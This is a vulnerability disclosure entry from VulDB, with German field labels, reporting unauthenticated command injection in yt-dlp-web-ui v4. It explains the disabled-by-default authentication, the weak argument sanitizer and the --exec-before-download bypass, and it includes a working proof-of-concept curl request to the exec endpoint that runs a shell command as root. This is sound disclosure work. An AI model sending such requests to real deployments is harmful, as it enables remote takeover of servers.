| Titel | marcopiovanello yt-dlp-web-ui 4 Command Injection |
|---|
| Beschreibung | A default deployment (no config.yml → require_auth=false, bound to x.x.x.x:3033) allows unauthenticated remote code execution as root via the params array of POST /api/v1/exec.
1. main.go sets authentication.require_auth default to false; auth middleware in server/rest/container.go / server/rpc/container.go is skipped unless enabled.
2. User-supplied params reach yt-dlp nearly verbatim (server/internal/downloaders/generic.go, argsSanitizer in server/internal/downloaders/utils.go only strips ${ and &&).
3. --no-exec is placed before user params, so it doesn't help: it only clears --exec (store_const, dest='exec_cmd'), it never touches --exec-before-download (dest='exec_before_dl_cmd, merged into exec_cmd['before_dl'] in yt-dlp's __init__.py), and a later --exec overrides it (last-wins).
PoC (single unauthenticated request, runs as root in the container):
curl -X POST http://target:3033/api/v1/exec -H 'Content-Type: application/json' \
-d '{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ",
"params":["--exec-before-download","id > /downloads/pwned.txt; exit 0; "]}'
|
|---|
| Quelle | ⚠️ https://github.com/marcopiovanello/yt-dlp-web-ui/commit/c7ad3bd79c7c520a7d17e7f2ba19d962be8e7897 |
|---|
| Benutzer | HLever (UID 100450) |
|---|
| Einreichung | 22.08.2026 00:00 (vor 28 Tagen) |
|---|
| Moderieren | 17.09.2026 21:28 (27 days later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 406851 [marcopiovanello yt-dlp-web-ui bis v4 generic.go NewGenericDownload params erweiterte Rechte] |
|---|
| Punkte | 20 |
|---|